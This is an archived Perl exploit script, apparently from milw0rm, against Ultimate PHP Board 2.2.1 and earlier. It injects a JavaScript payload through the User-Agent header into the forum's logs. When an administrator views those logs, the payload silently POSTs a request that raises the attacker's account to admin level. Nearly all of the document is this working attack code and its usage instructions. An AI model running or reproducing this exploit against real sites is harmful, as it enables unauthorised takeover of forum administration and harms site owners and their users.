Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit#!/usr/bin/perl -w
# ------------------------------------------------------------------
# Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit
# ------------------------------------------------------------------
# by athos - staker[at]hotmail[dot]it
# download on http://www.myupb.com/
# ------------------------------------------------------------------
# Usage:
# perl xpl.pl host path id email
# perl xpl.pl localhost/upb 21 root@r00x.com
# ------------------------------------------------------------------
# Note: don't add me on msn messenger
#       thanks evilsocket 
#       thanks meh for ajax code
#       my email staker.38@gmail.com
# ------------------------------------------------------------------

use strict;
use IO::Socket;

my ($host,$path,$id,$email) = @ARGV;


if (@ARGV != 4) {
      
      print `\n+--------------------------------------------------------------------+\r`.
            `\n| Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit |\r`.
            `\n+--------------------------------------------------------------------+\r`.
            `\n(user -> admin xpl )by athos - staker[at]hotmail[dot]it\n`.
            `\nUsage   + perl $0 [host] [path] [ID] [email]`.
            `\nHost    + localhost`.
            `\nPath    + forum path /upb)`.
            `\nID      + your user ID`.
            `\nEmail   + your/any email\n`;
      exit;
} 

&amp;exploit();


sub exploit () {

     my $content = undef;
     my $uagent  = &amp;logs;
     my $packet  = undef;
     my $socket  = new IO::Socket::INET(
                                         PeerAddr => $host,
                                         PeerPort => 80,
                                         Proto    => 'tcp',
                                       ) or die $!;
                            
     $packet .= `GET /$path/index.php HTTP/1.1\r\n`;
     $packet .= `Host: $host\r\n`;
     $packet .= `User-Agent: $uagent\r\n`;
     $packet .= `Connection: close\r\n\r\n`;
     
     $socket->send($packet);
     
     while (<$socket>) {
        $content .= $_;
     }    
     
     if ($content =~ m/myUPB/i) {
        print `Exploit Done!\n`;
        print `You'll become admin when the real admin will visit the logs\n`;
        exit;
     }
     else {
        print `Exploit Failed!\n`;
        exit;
    }    
}                            


sub logs () {

my $logs = `Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d`.
           `<script>var xplurl='http://$host/$path/admin_members.php?a`.
           `ction=edit&amp;id=$id&amp;page=10'; var xpldata='a=1&amp;level=3&amp;email`.
           `=$email&amp;status&amp;location&amp;website&amp;avatar&amp;msn&amp;yahoo&amp;icq&amp;sig&amp;u_`.
           `timezone=0&amp;B1=Submit';function s(s){var h=((window.ActiveXO`.
           `bject)?new ActiveXObject('Microsoft.XMLHTTP'):new XMLHttp`.
           `Request());h.open('POST', xplurl, true);h.setRequestHeader`.
           `('Content-type','application/x-www-form-urlencoded');h.setRe`.
           `questHeader('Content-length',xpldata.length);h.setRequestHea`.
           `der('Connection','close');h.send(xpldata);}s();</script>`;
  
  return $logs;
           
}                     

# milw0rm.com [2008-12-29]
